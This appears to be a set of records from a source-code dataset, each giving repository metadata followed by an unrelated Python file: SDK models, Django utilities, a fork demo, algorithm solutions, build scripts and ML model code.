refs/heads/master
2020-05-26T20:35:58.697670
2011-07-11T11:16:38
2011-07-11T11:16:38
82,484,996
0
0
null
null
null
null
UTF-8
Python
false
false
725
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import pisitools from pisi.actionsapi import pythonmodules def setup(): pythonmodules.run ("setup.py configure --no-insta...
[ "MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2" ]
MeW@a748b760-f2fe-475f-8849-a8a11d7a3cd2
e84f83d41c37e5a9f19a706cb52ee2bb85657bfd
81c8e99296a5fdeab3a7e40ccfefac8fdec5b606
/src/testutlis/utils.py
b81f181dc302e7175ceea2a160cf3f8b2f86f18c
[]
no_license
tyagow/django-base
e71ef3d4bf8b3286504616e3a51e470f230d9a82
bc4bb74c12e777b8f55c130a30d8964856d11055
refs/heads/master
2021-01-11T18:39:39.753721
2018-02-20T18:34:27
2018-02-20T18:34:27
79,591,671
1
0
null
null
null
null
UTF-8
Python
false
false
740
py
from django.test import TestCase class TestBase(TestCase): """Test base Have assertContent method for easy test multiple contents""" def assertContents(self, contents): for expected_content in contents: with self.subTest(): self.assertContains(self.response, expected_cont...
[ "tyagow@hotmail.com.br" ]
tyagow@hotmail.com.br
28748d156f004208486ccae6c33409003ad7721a
72e915468eea207ed0125b87f28186e54b10bd92
/UserDev/RecoTool/Cluster3DRecoUtil/Base/mac/example.py
50a9bb4e86224fb72ab11b2b42219c0f62879834
[]
no_license
hgreenlee/larlite
37834d3105d21e4a475776763e349c15faa2d644
a7e88ac08d89ffe195651e251037d9e1bfe64b2e
refs/heads/trunk
2020-12-30T14:46:48.894003
2019-09-24T22:01:49
2019-09-24T22:01:49
91,092,510
0
0
null
2017-05-12T13:07:06
2017-05-12T13:07:06
null
UTF-8
Python
false
false
7,589
py
import sys from array import array from ROOT import * import ROOT gSystem.Load("libBase") gSystem.Load("libLArUtil") gSystem.Load("libClusterRecoUtil") from ROOT import larlight as fmwk from ROOT import cluster import argparse parser = argparse.ArgumentParser(description="Python script to process and merge showers."...
[ "corey.adams@yale.edu" ]
corey.adams@yale.edu
3b9bdf95ba9e213951a0dcdca86da2334f3d8442
19a32440205b2caeec67c73c10d917b5fb30a86a
/isi_sdk/models/node_status_node_batterystatus.py
e34754869ce3e07d260c6906b70474d60bdca461
[ "MIT", "Apache-2.0" ]
permissive
marrotte/isilon_sdk_python
480e84312f5924a506aeb09c9c7cae79a2b9b7f4
91039da803ae37ed4abf8d2a3f59c333f3ef1866
refs/heads/master
2020-03-23T07:31:40.376316
2016-06-07T23:44:31
2016-06-07T23:44:31
141,277,076
1
0
MIT
2018-07-17T11:02:08
2018-07-17T11:02:08
null
UTF-8
Python
false
false
10,233
py
# coding: utf-8 """ Copyright 2016 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applica...
[ "Alex.Pecoraro@isilon.com" ]
Alex.Pecoraro@isilon.com
178a46a49a1da4d977ed17fc51257d14fbbddd48
e3722db23ca3cd657cb40f7bd4ec8b95339b03c2
/terrain.py
215af039461f9d545f5499b914ab03ce1addddc7
[]
no_license
ranjian0/python-scripts
dbc287678e2176192b1a4bd2e163254ca3b8ccea
d3c2de34023b1c7cac2752a77d124cbbfb3bff98
refs/heads/master
2021-07-01T17:48:41.934823
2020-08-28T20:36:28
2020-08-28T20:36:28
137,384,638
2
0
null
null
null
null
UTF-8
Python
false
false
3,925
py
# Terrain generation based on noise. # The terrain is a simple line grid. # Noise generation using Casey Duncan's noise library: # http://pypi.python.org/pypi/noise/1.0b1 # Use WASD to move through the scene # Use Q and E to move up/down # Use the mouse to look in the view # Use the arrow keys to offset the noise gri...
[ "karanjaichungwa@gmail.com" ]
karanjaichungwa@gmail.com
038c23d5efccd391323a5543cb870ee2ae71d7b0
15f321878face2af9317363c5f6de1e5ddd9b749
/solutions_python/Problem_117/462.py
abe8e66a6d6ff56141655327fc4fbd3887a2c298
[]
no_license
dr-dos-ok/Code_Jam_Webscraper
c06fd59870842664cd79c41eb460a09553e1c80a
26a35bf114a3aa30fc4c677ef069d95f41665cc0
refs/heads/master
2020-04-06T08:17:40.938460
2018-10-14T10:12:47
2018-10-14T10:12:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
786
py
#!/usr/bin/env python from numpy import * def testField(field): if field.max() > 100: return False maxInRow = field.max(1) maxInColumn = field.max(0) for i in xrange(field.shape[0]): for j in xrange(field.shape[1]): if field[i, j] < maxInRow[i] and field[i, j] < maxInColumn...
[ "miliar1732@gmail.com" ]
miliar1732@gmail.com
bb187c1ddd16640effd9dedf542992c72e4390ce
bd625514445dc724b792ec55f687c2c92a6cfd04
/sconscontrib/SCons/Tool/cpython/test/basic/sconstest-noflags-compile.py
7842a984905afab6b8f79cbe21d301ad6bc48e37
[ "MIT" ]
permissive
russel/scons-contrib
1c646bbf4b4e04047316fd5f37a6834117a31112
708ecf49596e69e66c4507bc82a2c44af6caa6ea
refs/heads/master
2022-12-27T15:45:15.836830
2020-06-21T22:18:16
2020-06-21T22:18:16
268,826,651
0
0
MIT
2020-06-02T14:41:28
2020-06-02T14:41:27
null
UTF-8
Python
false
false
1,858
py
#!/usr/bin/env python # # Copyright (c) 2001-2010 The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use,...
[ "dl9obn@darc.de" ]
dl9obn@darc.de
745f5db80825f7c5e8311a09f4ae5d20e1dedad1
5be8b0f2ee392abeee6970e7a6364ac9a5b8ceaa
/xiaojian/second_phase/day07/fork.py
b899dcbbfae7d55ebe3b4fb2e25ef0506f7a68a2
[]
no_license
Wellsjian/20180826
424b65f828f0174e4d568131da01dafc2a36050a
0156ad4db891a2c4b06711748d2624080578620c
refs/heads/master
2021-06-18T12:16:08.466177
2019-09-01T10:06:44
2019-09-01T10:06:44
204,462,572
0
1
null
2021-04-20T18:26:03
2019-08-26T11:38:09
JavaScript
UTF-8
Python
false
false
268
py
""" 基于fork 的多进程创建演示 """ import os import time pid = os.fork() if pid < 0: print("Create process failed.") elif pid == 0: time.sleep(3) print("New process.") else: time.sleep(5) print("old process.") print("Fork test end.")
[ "1149158963@qq.com" ]
1149158963@qq.com
03d25055cbcab6dd59b486b75cd1b70ea1d9de9f
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_strikes.py
c7c5206de2635cebfb7435ad257a5487aa793ab4
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
238
py
from xai.brain.wordbase.nouns._strike import _STRIKE #calss header class _STRIKES(_STRIKE, ): def __init__(self,): _STRIKE.__init__(self) self.name = "STRIKES" self.specie = 'nouns' self.basic = "strike" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
2bfdb46e7962fec272a714b2a8d5d399d7837274
70450f0c551adf47b450468e424f4f90bebfb58d
/clsim/resources/scripts/photonPaths/generateTestFlashes.py
474fd522b291e7e40e469a10a781750255b8cdaa
[ "LicenseRef-scancode-unknown", "BSD-2-Clause", "MIT" ]
permissive
hschwane/offline_production
ebd878c5ac45221b0631a78d9e996dea3909bacb
e14a6493782f613b8bbe64217559765d5213dc1e
refs/heads/master
2023-03-23T11:22:43.118222
2021-03-16T13:11:22
2021-03-16T13:11:22
280,381,714
0
0
MIT
2020-07-17T09:20:29
2020-07-17T09:20:29
null
UTF-8
Python
false
false
2,714
py
#!/usr/bin/env python from optparse import OptionParser from os.path import expandvars usage = "usage: %prog [options] inputfile" parser = OptionParser(usage) parser.add_option("-o", "--outfile",default="test_flashes.i3", dest="OUTFILE", help="Write output to OUTFILE (.i3{.gz} format)") parser.add_o...
[ "aolivas@umd.edu" ]
aolivas@umd.edu
fb2cdaf708359c1a0b43d3bf4114ec16a787fd22
60c5f8146013ff53f4f04a863bcebbe1dff727d9
/core/routes/post.py
4f450ae6e3a4dcfc7b2a1c1c730d6e2359302243
[]
no_license
Wellington475/flask-blog
f0b54e8b222d7836a4af9fca4d34a6835ba9cc90
ea766d6bcc55124ea39e6c118cae34c03746178b
refs/heads/master
2020-02-26T14:26:57.099846
2015-01-21T16:22:28
2015-01-21T16:22:28
29,596,279
0
0
null
2015-01-21T15:32:20
2015-01-21T15:32:20
null
UTF-8
Python
false
false
245
py
# -*- coding: utf8 -*- import datetime from flask import Blueprint, request, render_template, redirect, url_for, session app = Blueprint('post', __name__, url_prefix='/post') @app.route("/") def post(): return render_template('post.html')
[ "you@example.com" ]
you@example.com
aa778bb763bb31f9824d1b03f90380e009aafb81
09e57dd1374713f06b70d7b37a580130d9bbab0d
/benchmark/startQiskit_QC1117.py
c756396bebd6b6f09352f9cfff530a15663beb34
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
4,319
py
# qubit number=5 # total number=46 import cirq import qiskit from qiskit import IBMQ from qiskit.providers.ibmq import least_busy from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister from qiskit import BasicAer, execute, transpile from pprint import pprint from qiskit.test.mock import FakeVigo from ma...
[ "wangjiyuan123@yeah.net" ]
wangjiyuan123@yeah.net
2c03bade3dff5f987391b13ad1a8abfec1121ea6
d5552cda58e251e6a5983876681be8f641dea86f
/src/transformers/models/data2vec/modeling_data2vec_text.py
3ba0ab1c483110ca45897f1945efdd33125b98a2
[ "Apache-2.0" ]
permissive
patrickvonplaten/transformers
feb121e1ee82c317ac7561836b8f95a7de25fc1f
f738502979f6787609dcf0180e6606f464692e27
refs/heads/master
2022-12-08T10:15:34.743198
2022-11-22T11:00:20
2022-11-22T11:00:20
226,201,271
6
1
Apache-2.0
2019-12-05T22:39:46
2019-12-05T22:39:45
null
UTF-8
Python
false
false
72,559
py
# coding=utf-8 # Copyright 2022 The HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
[ "noreply@github.com" ]
patrickvonplaten.noreply@github.com
4b32d1f30e4f52bcf1f60a3d0d88c5a79eaa19b6
3f4cd0d65524fa347010fcf5f1ef647eb7f81738
/pls_balances/src/balances.py
5410983b4b066401306fdf74cca6b2b7df33228e
[]
no_license
knightlab-analyses/pls-balances
ad038b03a61a45ef5be518b7889ee27b09be2f23
714ea71dbd0c2992c377145c1c40a9e1430f6715
refs/heads/master
2021-01-02T09:05:45.661910
2017-10-12T00:18:39
2017-10-12T00:18:39
99,141,094
0
4
null
2017-10-26T22:50:21
2017-08-02T16:55:31
Jupyter Notebook
UTF-8
Python
false
false
5,753
py
from skbio.stats.composition import clr, centralize from sklearn.mixture import GaussianMixture from sklearn.cross_decomposition import PLSRegression from sklearn.model_selection import StratifiedKFold, KFold from sklearn import preprocessing from sklearn.metrics import roc_curve from sklearn.metrics import auc import ...
[ "jamietmorton@gmail.com" ]
jamietmorton@gmail.com
587c7bcc898e2119db703803213f40bc2acbbd85
ba7dbae786904b184b918eebfde6d838ec79664f
/2019-9-23 - TTT Minimax with Maxdepth.py
88c16391d144bb6d43cbbeb7f1515bdb4a89360a
[]
no_license
bblais/AI-and-Robotics-Fall-2019-Class-Notebooks
5747788eaee18dc2109619ccebcab35e1da721a7
a1c6e6728888365b00105726fcac3e8302a3791b
refs/heads/master
2020-07-12T04:30:12.558758
2019-12-15T00:15:58
2019-12-15T00:15:58
204,718,593
2
2
null
null
null
null
UTF-8
Python
false
false
3,920
py
#!/usr/bin/env python # coding: utf-8 # ## TTT (Tic Tac Toe) Minimal Implementation # In[3]: from Game import * from Game.minimax import * # Functions for the Game # In[4]: def initial_state(): state=Board(3,3) state.pieces=['.','X','O'] return state # In[5]: state=initial_state() state ...
[ "bblais@gmail.com" ]
bblais@gmail.com
f75283e8f8a1a3a7672950f96629236754ad0cf5
6ff87224dbf697e442030ff34ba9006b0e53e220
/version_manager/matchers/string_pattern.py
e89031c8bc14171ce16bae3a5fae703ce4ecb5c9
[]
no_license
bmustiata/version-manager-py
8d2d54ea2c64dedafa2c5fdd506940cc7a3df1b2
09cfe9f820e72f2e0ad914b6f67f771b53416f7d
refs/heads/master
2021-10-24T14:45:42.755895
2021-10-12T21:40:19
2021-10-12T21:40:19
135,220,117
0
1
null
2021-03-25T22:14:32
2018-05-29T00:03:39
Python
UTF-8
Python
false
false
1,572
py
import re from .pattern import Pattern, TrackedVersion from .regex_pattern import RegExPattern from termcolor_util import eprint, yellow class StringPattern(Pattern): RE = re.compile(r"^(.*?)(\^\^|##|\*\*)VERSION(##|\*\*|\$\$)(.*?)$") def __init__(self, tracked_version: TrackedVersion, expression: str) -> N...
[ "bogdan.mustiata@gmail.com" ]
bogdan.mustiata@gmail.com
7cfe8b00320bfc6a563dc48ac650069ea234deee
a2d36e471988e0fae32e9a9d559204ebb065ab7f
/huaweicloud-sdk-cloudbuild/huaweicloudsdkcloudbuild/v3/model/show_last_history_response.py
f8090556341e9d9a82a07d389e2b3b8dbc913984
[ "Apache-2.0" ]
permissive
zhouxy666/huaweicloud-sdk-python-v3
4d878a90b8e003875fc803a61414788e5e4c2c34
cc6f10a53205be4cb111d3ecfef8135ea804fa15
refs/heads/master
2023-09-02T07:41:12.605394
2021-11-12T03:20:11
2021-11-12T03:20:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,187
py
# coding: utf-8 import re import six from huaweicloudsdkcore.sdk_response import SdkResponse from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class ShowLastHistoryResponse(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name ...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
60cafb28b85477da47298fe4f35a8a08d31a4af2
5f69a6549b8d5e417553d910622e6855b2ae679b
/projects/opendr_ws_2/src/opendr_perception/opendr_perception/audiovisual_emotion_recognition_node.py
11a7aa57ca8198574706d34f3d20a0c4ae4b524e
[ "Apache-2.0" ]
permissive
opendr-eu/opendr
822219f709613d77c5eb62c5d02808d344239835
b3d6ce670cdf63469fc5766630eb295d67b3d788
refs/heads/master
2023-08-31T07:02:36.375231
2023-08-29T06:39:51
2023-08-29T06:39:51
293,755,225
535
82
Apache-2.0
2023-09-13T16:53:34
2020-09-08T08:55:04
Python
UTF-8
Python
false
false
7,104
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2020-2023 OpenDR European Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0...
[ "noreply@github.com" ]
opendr-eu.noreply@github.com
da971771e7975c6b8776629fdf97fa8063dee81c
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/405/usersdata/298/77588/submittedfiles/exe11.py
1de717ac87d69e71f7281a26a49212e7c7a03997
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
235
py
# -*- coding: utf-8 -*- A= str(input('Digite um numero de 8 algarismos: ')) alg = [str(i) for i in str(A)] for i in alg: try int(i): if ValueError: print(N) #k, l, m, n, o, p, q, r = alg #print(k+l+m+n+o+p+q+r)
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
48a9c577025b19594c129cb9e6df83d989890f72
f925499f896b012624118cfafd02fef76ff5075a
/src/testcase/GN_F1331/case/GN_F1331_TIMER/GN_F1331_TIMER_002.py
e8390cc79862f21cebfa3533fc262d84c95fb9c0
[ "Apache-2.0" ]
permissive
maiyajj/AutoTest_script-Appium_Connect
f7c06db1d2f58682d1a9d6f534f7dd5fb65d766d
f9c2c42c281a9e2f984acb4a72dda0694b053f22
HEAD
2019-07-26T01:39:48.413753
2018-04-11T02:11:38
2018-04-11T02:11:38
112,449,369
30
22
null
null
null
null
UTF-8
Python
false
false
8,311
py
# coding=utf-8 from src.testcase.GN_F1331.WidgetOperation import * class GNF1331Timer2(WidgetOperation): @case_run(False) def run(self): self.case_module = u"定时器(#9)" # 用例所属模块 self.case_title = u'设备设置多模式多定时不同层,设备执行状态检查' # 用例名称 self.zentao_id = "141" # 禅道ID # 用例动作 def case(s...
[ "1045373828@qq.com" ]
1045373828@qq.com
6c44f426504d6b7bc597cc2b0ed39a0bcfcaba4d
90d0e747659648efb589cf3aa585d3291d77020d
/webapp/admin.py
5452542a3c8345a8649725685769494de2c59c46
[ "MIT" ]
permissive
jeffersonmourak/UrgentCode
f4246e7003452dd3552e9cae7b15f6b774b6321a
90a33a5cfb2a7db3e2d5f8f2ee5127aa5fb4ef7c
refs/heads/master
2020-05-18T09:16:09.404409
2015-06-07T02:31:03
2015-06-07T02:31:03
35,897,235
0
0
null
null
null
null
UTF-8
Python
false
false
372
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from django.contrib import admin from . import models class ForumsAdmin(admin.ModelAdmin): prepopulated_fields = {'url': ('name',)} admin.site.register(models.Users) admin.site.register(models.Forums,ForumsAdmin) admin.site.register(models.Followers) admin.site.regist...
[ "=" ]
=
b6002a90f5e0fc41d83b2bdc4904c80e6ae7c7ed
c23700789488472e5048d9f3b4aad04cfcc2fadb
/gluoncv/model_zoo/pspnet.py
3f9f1a38e067b97de520e3cf26e55242a3d09ee6
[ "Apache-2.0" ]
permissive
Panda-Peter/mean-teacher-cross-domain-detection
eb5fbff5d6f92e0abdd18dab1901de8a72c5ed19
8fbd0142802712c1d0bab9fbb3b32bac7121996c
refs/heads/master
2020-11-29T06:29:37.653052
2019-12-25T05:30:09
2019-12-25T05:30:09
230,047,215
2
0
Apache-2.0
2019-12-25T05:35:28
2019-12-25T05:35:27
null
UTF-8
Python
false
false
8,572
py
# pylint: disable=unused-argument """Pyramid Scene Parsing Network""" from mxnet.gluon import nn from mxnet.context import cpu from mxnet.gluon.nn import HybridBlock from .segbase import SegBaseModel from .fcn import _FCNHead # pylint: disable-all __all__ = ['PSPNet', 'get_psp', 'get_psp_resnet101_coco', 'get_psp_resn...
[ "cqcaiqi@gmail.com" ]
cqcaiqi@gmail.com
8304c714b3e695d5235e991c3bd618185f53d65b
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2967/60717/275801.py
bfa63d35cf2158d3410ba19624ddc88d7b0c17eb
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
459
py
n=int(input()) a=input() b=input() list1=[[0 for i in range(0,len(a))] for j in range(0,len(b))] count=1 for i in range(0,len(a)): for j in range(0,len(b)): if a[i]==b[j]: list1[i][j]=1 for i in range(1,len(a)): for j in range(1,len(b)): if a[i-1]==b[j-1] and a[i]==b[j]: ...
[ "1069583789@qq.com" ]
1069583789@qq.com
0d8ea954169af3d9c1eb721849ebbb5f50334a5b
2a05a8dff519b71942fd568c67810ecc714fc785
/setup.py
0aa56ef7b66df5abf25d3445d4b2deb3b9c9e737
[]
no_license
cfarrow/diffpy.Structure
d0b88212913c30e1b22d20a6fb2d299d2010b154
1c3414df97749126a0db94d640d06ac4594f79d7
refs/heads/master
2021-01-18T05:21:17.271993
2013-11-06T16:39:02
2013-11-06T20:06:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,713
py
#!/usr/bin/env python # Installation script for diffpy.Structure """Structure - objects for storage and manipulation of crystal structures. Packages: diffpy.Structure """ import os from setuptools import setup, find_packages # versioncfgfile holds version data for git commit hash and date. # It must reside in th...
[ "pavol.juhas@gmail.com" ]
pavol.juhas@gmail.com
7efd14e7ae7f75b11f403ff6730be64744d071ba
e8199f1d424592affe19b50fd96a02815067d1b1
/BackTracking/40. CombinationSum_II.py
ac13a349aa931635f0e68cc341f06c559f7047cc
[]
no_license
srajsonu/LeetCode-Solutions-Python
39a809e4c6d555a3a3055ce03d59cfa40b93a287
8ec31c8df2885f3da533424ba13060b7d3e3af78
refs/heads/master
2023-03-19T10:05:42.578615
2021-03-13T17:21:36
2021-03-13T17:21:36
280,716,200
0
1
null
2020-10-06T09:54:02
2020-07-18T18:32:04
Python
UTF-8
Python
false
false
651
py
from collections import Counter class Solution: def dfs(self,A,B,index,aux): if B < 0: return if B == 0: self.ans.append(aux) return for i in range(index, len(A)): if i > index and A[i] == A[i-1]: continue if A[i]...
[ "srajsonu02@gmail.com" ]
srajsonu02@gmail.com
3da44360fe0ad45579687cf9bccae9a06a6fd6ca
ae3f23efcdc4b7fdd1c224043d0ece002955956e
/xplace/xplace/users/migrations/0013_user_is_email_verified.py
3d859f3dc9a2aaac06018126ff3416f7a6ba88ee
[]
no_license
alexeysofin/xplace
4466682fe76c808288d69f2808ddbca38a583bc4
9f12f066a62fae4e789bee94e5e554cc6de26d90
refs/heads/master
2023-01-12T01:02:40.137609
2021-02-14T20:41:30
2021-02-14T20:41:30
208,021,139
0
0
null
2023-01-04T10:18:46
2019-09-12T10:07:17
Python
UTF-8
Python
false
false
393
py
# Generated by Django 2.1.5 on 2019-01-27 11:04 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0012_auto_20190126_1458'), ] operations = [ migrations.AddField( model_name='user', name='is_email_verified...
[ "sofin.moffin" ]
sofin.moffin
a0d93238ea46d11afe30092123ace1a5b47741bc
48e124e97cc776feb0ad6d17b9ef1dfa24e2e474
/sdk/python/pulumi_azure_native/datafactory/dataset.py
9a28bdb872c0f5d6b44d4a96a37adb3e9f9e326e
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
bpkgoud/pulumi-azure-native
0817502630062efbc35134410c4a784b61a4736d
a3215fe1b87fba69294f248017b1591767c2b96c
refs/heads/master
2023-08-29T22:39:49.984212
2021-11-15T12:43:41
2021-11-15T12:43:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
33,033
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from...
[ "noreply@github.com" ]
bpkgoud.noreply@github.com
9a288b87e06acf775dfbb21bed9cc1b2fb70d9bc
5f22ddbd3eeb99709e43e7b9a7958c9987c7efa4
/interview_bits/level_1/01_arrays/06_arrangement/02_rotate-matrix.py
7f330384ce59601c1138dcf201f6275d9b546729
[]
no_license
salvador-dali/algorithms_general
04950bd823fc354adc58a4f23b7d2f3d39664798
aeee3356e2488c6fab08741b1ac26e8bd5e4ac0d
refs/heads/master
2020-12-14T06:24:10.466601
2016-07-17T06:00:17
2016-07-17T06:00:17
47,397,457
0
0
null
null
null
null
UTF-8
Python
false
false
324
py
# https://www.interviewbit.com/problems/rotate-matrix/ def rotate(M): n = len(M) for i in xrange(n): for j in xrange(i, n): M[i][j], M[j][i] = M[j][i], M[i][j] for i in xrange(n): for j in xrange(n / 2): M[i][j], M[i][n - j - 1] = M[i][n - j - 1], M[i][j] retur...
[ "dmytro@knowlabs.com" ]
dmytro@knowlabs.com
6e23f66d566b3a049c8196374d98eea8aef642ef
30a03b509ed189f6a0e0574883a255774965e93e
/flightrl/examples/view_reward.py
b5b4192802aa66b8fc5084756c72c74597e2c368
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
uzh-rpg/flightmare
efdf34f546348b870307e4c375b0bf82fbf256d2
d4218aedac18cbe9364a0a0df10ab992c4b65e4f
refs/heads/master
2023-08-13T17:25:46.427864
2023-05-15T08:41:51
2023-05-15T08:41:51
279,581,575
811
346
NOASSERTION
2023-04-18T04:30:00
2020-07-14T12:40:25
C++
UTF-8
Python
false
false
1,036
py
import seaborn as sns import pandas as pd import matplotlib.animation as animation import matplotlib.pyplot as plt # sns.set_style("whitegrid") # def plot_reward(save_dir, varname, ylabel, save_fig=False): fig, ax = plt.subplots(1, 1, figsize=(7, 4)) # sns.lineplot(data=data[varname].dropna(), ax=ax) ...
[ "yun-long.song@outlook.com" ]
yun-long.song@outlook.com
b489f03d3e4649a85897cb237582020d46637b48
9183ef487b8ba4a77bbfd3708d6128af54a6f701
/home/urls.py
a6ecd62cf01ccd80c82b23d0d6b6934b729c4775
[]
no_license
vikeshkhanna/EDC-Website
bda2d4b5e5095def7919bd388c1c3a9c418869f3
1fc8a7bf6eedf3c12ff5fc9320661692517481ab
refs/heads/master
2021-01-18T04:16:13.899695
2011-11-13T15:52:06
2011-11-13T15:52:06
2,786,405
1
0
null
null
null
null
UTF-8
Python
false
false
163
py
from django.conf.urls.defaults import * urlpatterns = patterns('home.views', (r'^$','index'), (r'^contact/$','contact'), (r'^credits/$','credits'), )
[ "axitkhurana@gmail.com" ]
axitkhurana@gmail.com
8362de9ade80720b13d78d0e29c1ec0d6d0f7631
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03032/s961628566.py
05329d7c3520e5720757d5d80ba0c00374452806
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
1,577
py
def getN(): return int(input()) def getNM(): return map(int, input().split()) def getList(): return list(map(int, input().split())) def getArray(intn): return [int(input()) for i in range(intn)] def input(): return sys.stdin.readline().rstrip() def rand_N(ran1, ran2): return random.randint(ran1,...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
d13db5361dd017e06f4828d8183446815fc9c3ca
82b728e805d887102c0b8c415731b353877690cd
/samples/generated_samples/aiplatform_generated_aiplatform_v1_index_service_create_index_async.py
37963f08e4998fbb4d1745103d22e96c6d744092
[ "Apache-2.0" ]
permissive
geraint0923/python-aiplatform
90c7742c9bdbde05b9688b117e8e59c0406d6f85
7ab05d5e127636d96365b7ea408974ccd6c2f0fe
refs/heads/main
2023-08-24T05:30:38.519239
2021-10-27T20:38:25
2021-10-27T20:38:25
370,803,114
0
0
Apache-2.0
2021-05-25T19:15:47
2021-05-25T19:15:46
null
UTF-8
Python
false
false
1,713
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "noreply@github.com" ]
geraint0923.noreply@github.com
1c9d7384143a09f724dcaec4877d0e4479715ccc
5202495ecca913290c0610d3af55e4a5b342686b
/Minimum Moves to Equal Array Elements.py
d58e383e0a654c7c7374adcd38a89ecf95c129fe
[]
no_license
shank54/Leetcode
6e76515647ed0bb3d8d3b1e0e9d2c890fbc77f3c
d8c3be5937c54b740ebccd0b373a67ece46773f3
refs/heads/master
2021-01-11T08:59:26.757870
2018-11-09T02:41:53
2018-11-09T02:41:53
77,485,334
0
0
null
null
null
null
UTF-8
Python
false
false
264
py
class Solution(object): def minMoves(self, nums): m = sys.maxint for i in range(len(nums)): if nums[i]<=m: m = nums[i] s = 0 for i in range(len(nums)): s += abs(nums[i]-m) return s
[ "shashanthota1@gmail.com" ]
shashanthota1@gmail.com